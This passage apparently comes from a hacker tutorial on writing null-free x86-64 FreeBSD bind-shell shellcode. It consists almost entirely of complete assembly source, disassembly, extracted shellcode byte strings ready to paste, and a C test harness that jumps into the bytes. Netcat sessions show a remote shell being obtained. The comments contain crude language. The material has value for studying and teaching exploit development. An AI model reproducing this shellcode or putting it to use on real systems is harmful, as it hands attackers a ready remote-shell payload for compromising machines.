$SYS_EXECVE; popq %rax xorq %rcx, %rcx # push a null pushq %rcx movq %rsp, %rsi # set rsi to null movq $0xAA68732f6e69622f, %rcx # mov /bin/shAA backwards # into rcx pushq %rcx # push it # push it real good movq %rsp, %rdi # put rsp (->/bin/shAA) # into rdi # have to over write that AA with a 0 # put a \x0 byte at index 7 of our string /bin/sh xorq %rbx, %rbx xorq %rcx, %rcx movb $7, %cl movb %bl, (%rsp, %rcx, 1) xorq %rdx, %rdx int $KERN /**** exit ****/ # _exit(0) pushq $1; popq %rax xorq %rdi, %rdi int $KERN becomes oh shit, already 31337 as the dickens. Full final no null asm looks like: [entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull.s .section .rodata .equ KERN, 0x80 .equ SYS_SOCKET, 97 .equ SYS_BIND, 104 .equ SYS_LISTEN, 106 .equ SYS_ACCEPT, 30 .equ SYS_DUP2, 90 .equ SYS_EXECVE, 59 .equ SYS_EXIT,1 .equ SOCKADDR_IN_SIZE, 16 .equ PF_INET, 2 .equ AF_INET, 2 .equ SOCK_STREAM, 1 .equ IPPROTO_TCP, 6 .equ INADDR_ANY, 0 .equ STDIN, 0 .equ STDOUT, 1 .equ STDERR, 2 .equ PORT, 2586 .section .text .globl _start _start: nop # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) pushq $SYS_SOCKET; popq %rax pushq $PF_INET; popq %rdi pushq $SOCK_STREAM; popq %rsi pushq $IPPROTO_TCP; popq %rdx int $KERN xorq %r8, %r8 movl %eax, %r8d # bind(listen_socket, (struct sockaddr *)&s, sizeof(s)); xorq %r10, %r10 pushq %r10 pushq %r10 xorq %rcx, %rcx movb $1, %cl movb $AF_INET, (%rsp, %rcx, 1) movb $2, %cl movw $PORT, (%rsp, %rcx, 1) pushq $SYS_BIND; popq %rax pushq %r8; pop %rdi movq %rsp, %rsi pushq $SOCKADDR_IN_SIZE; popq %rdx int $KERN # listen(listen_socket, 1) pushq $SYS_LISTEN; popq %rax pushq %r8; popq %rdi pushq $1; popq %rsi int $KERN # accept pushq $SYS_ACCEPT; popq %rax pushq %r8; popq %rdi movq %rsp, %rsi xorq %rcx, %rcx movb $16, %cl pushq %rcx movq %rsp, %rdx int $KERN popq %rcx xorq %r9, %r9 movl %eax, %r9d # dup2 these rich whores pushq $SYS_DUP2; popq %rax movl %r9d, %edi xorq %rsi, %rsi int $KERN pushq $SYS_DUP2; popq %rax movl %r9d, %edi pushq $STDOUT; popq %rsi int $KERN pushq $SYS_DUP2; popq %rax movl %r9d, %edi pushq $STDERR; popq %rsi int $KERN pushq $SYS_EXECVE; popq %rax xorq %rcx, %rcx pushq %rcx movq %rsp, %rsi movq $0xAA68732f6e69622f, %rcx pushq %rcx movq %rsp, %rdi # have to over write that aa with a 0 xorq %rbx, %rbx xorq %rcx, %rcx movb $7, %cl movb %bl, (%rsp, %rcx, 1) xorq %rdx, %rdx int $KERN # _exit(0) pushq $1; popq %rax xorq %rdi, %rdi int $KERN [entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull.s -o pb-nonull.o [entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull.o -o pb-nonull [entropy@phiral ~/code/fbsd_x64]$ ./pb-nonull maihem@sparky ~$ nc 172.16.233.85 6666 id uid=1001(entropy) gid=0(wheel) groups=0(wheel) exit [entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-nonull pb-nonull: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 90 nop 4000b1: 6a 61 pushq $0x61 4000b3: 58 pop %rax 4000b4: 6a 02 pushq $0x2 4000b6: 5f pop %rdi 4000b7: 6a 01 pushq $0x1 4000b9: 5e pop %rsi 4000ba: 6a 06 pushq $0x6 4000bc: 5a pop %rdx 4000bd: cd 80 int $0x80 4000bf: 4d 31 c0 xor %r8,%r8 4000c2: 41 89 c0 mov %eax,%r8d 4000c5: 4d 31 d2 xor %r10,%r10 4000c8: 41 52 push %r10 4000ca: 41 52 push %r10 4000cc: 48 31 c9 xor %rcx,%rcx 4000cf: b1 01 mov $0x1,%cl 4000d1: c6 04 0c 02 movb $0x2,(%rsp,%rcx,1) 4000d5: b1 02 mov $0x2,%cl 4000d7: 66 c7 04 0c 1a 0a movw $0xa1a,(%rsp,%rcx,1) 4000dd: 6a 68 pushq $0x68 4000df: 58 pop %rax 4000e0: 41 50 push %r8 4000e2: 5f pop %rdi 4000e3: 48 89 e6 mov %rsp,%rsi 4000e6: 6a 10 pushq $0x10 4000e8: 5a pop %rdx 4000e9: cd 80 int $0x80 4000eb: 6a 6a pushq $0x6a 4000ed: 58 pop %rax 4000ee: 41 50 push %r8 4000f0: 5f pop %rdi 4000f1: 6a 01 pushq $0x1 4000f3: 5e pop %rsi 4000f4: cd 80 int $0x80 4000f6: 6a 1e pushq $0x1e 4000f8: 58 pop %rax 4000f9: 41 50 push %r8 4000fb: 5f pop %rdi 4000fc: 48 89 e6 mov %rsp,%rsi 4000ff: 48 31 c9 xor %rcx,%rcx 400102: b1 10 mov $0x10,%cl 400104: 51 push %rcx 400105: 48 89 e2 mov %rsp,%rdx 400108: cd 80 int $0x80 40010a: 59 pop %rcx 40010b: 4d 31 c9 xor %r9,%r9 40010e: 41 89 c1 mov %eax,%r9d 400111: 6a 5a pushq $0x5a 400113: 58 pop %rax 400114: 44 89 cf mov %r9d,%edi 400117: 48 31 f6 xor %rsi,%rsi 40011a: cd 80 int $0x80 40011c: 6a 5a pushq $0x5a 40011e: 58 pop %rax 40011f: 44 89 cf mov %r9d,%edi 400122: 6a 01 pushq $0x1 400124: 5e pop %rsi 400125: cd 80 int $0x80 400127: 6a 5a pushq $0x5a 400129: 58 pop %rax 40012a: 44 89 cf mov %r9d,%edi 40012d: 6a 02 pushq $0x2 40012f: 5e pop %rsi 400130: cd 80 int $0x80 400132: 6a 3b pushq $0x3b 400134: 58 pop %rax 400135: 48 31 c9 xor %rcx,%rcx 400138: 51 push %rcx 400139: 48 89 e6 mov %rsp,%rsi 40013c: 48 b9 2f 62 69 6e 2f mov $0xaa68732f6e69622f,%rcx 400143: 73 68 aa 400146: 51 push %rcx 400147: 48 89 e7 mov %rsp,%rdi 40014a: 48 31 db xor %rbx,%rbx 40014d: 48 31 c9 xor %rcx,%rcx 400150: b1 07 mov $0x7,%cl 400152: 88 1c 0c mov %bl,(%rsp,%rcx,1) 400155: 48 31 d2 xor %rdx,%rdx 400158: cd 80 int $0x80 40015a: 6a 01 pushq $0x1 40015c: 58 pop %rax 40015d: 48 31 ff xor %rdi,%rdi 400160: cd 80 int $0x80 [entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull \x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80 \x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31 \xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a \x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a \x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50 \x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80 \x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31 \xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a \x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31 \xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa \x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c \x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80 [entropy@phiral ~/code/fbsd_x64]$ cat sc.c unsigned char sc[] = "\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80" "\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31" "\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a" "\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a" "\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50" "\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80" "\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31" "\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a" "\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31" "\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa" "\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c" "\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80"; void main(void) { int *ret; ret = (int *)&ret + 4; (*ret) = (int)sc; } [entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc sc.c: In function 'main': sc.c:17: warning: cast from pointer to integer of different size sc.c:14: warning: return type of 'main' is not 'int' [entropy@phiral ~/code/fbsd_x64]$ ./sc maihem@sparky ~$ nc 172.16.233.85 6666 id uid=1001(entropy) gid=0(wheel) groups=0(wheel) exit Remove NOP, _exit(0) and 'extra' instructions... [entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull-s.s .section .rodata .equ KERN, 0x80 .equ SYS_SOCKET, 97 .equ SYS_BIND, 104 .equ SYS_LISTEN, 106 .equ SYS_ACCEPT, 30 .equ SYS_DUP2, 90 .equ SYS_EXECVE, 59 .equ SYS_EXIT,1 .equ SOCKADDR_IN_SIZE, 16 .equ PF_INET, 2 .equ AF_INET, 2 .equ SOCK_STREAM, 1 .equ IPPROTO_TCP, 6 .equ INADDR_ANY, 0 .equ STDIN, 0 .equ STDOUT, 1 .equ STDERR, 2 .equ PORT, 2586 .section .text .globl _start _start: # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) pushq $SYS_SOCKET; popq %rax pushq $PF_INET; popq %rdi pushq $SOCK_STREAM; popq %rsi pushq $IPPROTO_TCP; popq %rdx int $KERN xorq %r8, %r8 movl %eax, %r8d # bind(listen_socket, (struct sockaddr *)&s, sizeof(s)); xorq %r10, %r10 pushq %r10 xorq %rcx, %rcx movb $1, %cl movb $AF_INET, (%rsp, %rcx, 1) movb $2, %cl movw $PORT, (%rsp, %rcx, 1) pushq $SYS_BIND; popq %rax pushq %r8; pop %rdi movq %rsp, %rsi pushq $SOCKADDR_IN_SIZE; popq %rdx int $KERN # listen(listen_socket, 1) pushq $SYS_LISTEN; popq %rax pushq %r8; popq %rdi pushq $1; popq %rsi int $KERN # accept pushq $SYS_ACCEPT; popq %rax pushq %r8; popq %rdi movq %rsp, %rsi xorq %rcx, %rcx movb $16, %cl pushq %rcx movq %rsp, %rdx int $KERN popq %rcx xorq %r9, %r9 movl %eax, %r9d # dup2 these rich whores pushq $SYS_DUP2; popq %rax movl %r9d, %edi xorq %rsi, %rsi int $KERN pushq $SYS_DUP2; popq %rax pushq $STDOUT; popq %rsi int $KERN pushq $SYS_DUP2; popq %rax pushq $STDERR; popq %rsi int $KERN pushq $SYS_EXECVE; popq %rax xorq %rcx, %rcx pushq %rcx movq %rsp, %rsi movq $0xAA68732f6e69622f, %rcx pushq %rcx movq %rsp, %rdi # have to over write that AA with a 0 xorq %rbx, %rbx xorq %rcx, %rcx movb $7, %cl movb %bl, (%rsp, %rcx, 1) xorq %rdx, %rdx int $KERN [entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull-s.s -o pb-nonull-s.o [entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull-s.o -o pb-nonull-s [entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull-s \x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d \x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01 \xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58 \x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41 \x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89 \xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31 \xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80 \x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd \x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62 \x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31 \xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80 [entropy@phiral ~/code/fbsd_x64]$ cat sc.c unsigned char sc[] = "\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d" "\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01" "\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58" "\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41" "\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89" "\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31" "\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80" "\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd" "\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62" "\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31" "\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80"; void main(void) { int *ret; ret = (int *)&ret + 4; (*ret) = (int)sc; } [entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc sc.c: In function 'main': sc.c:17: warning: cast from pointer to integer of different size sc.c:14: warning: return type of 'main' is not 'int' [entropy@phiral ~/code/fbsd_x64]$ ./sc maihem@sparky ~$ nc 172.16.233.85 6666 id uid=1001(entropy) gid=0(wheel) groups=0(wheel) exit fini. [1] Intro to x64 Reversing - Jon Larimer - http://codetastrophe.com/ SummerCon%202011%20-%20Intro%20to%20x64%20Reversing.pdf [2] SummerCon - http://summercon.org/ <-- best fucking con ever [3] SYS V ABI - http://www.x86-64.org/documentation/abi.pdf [4] x64 Windows Debugging: Practical Foundations - http://www.dumpanalysis.org/ x64+Windows+Debugging%3A+Practical+Foundations [5] Writing Assembly on OpenBSD - http://lucifer.phiral.net/openbsdasm.htm HTML Version: http://lucifer.phiral.net/fbsd_x64.htm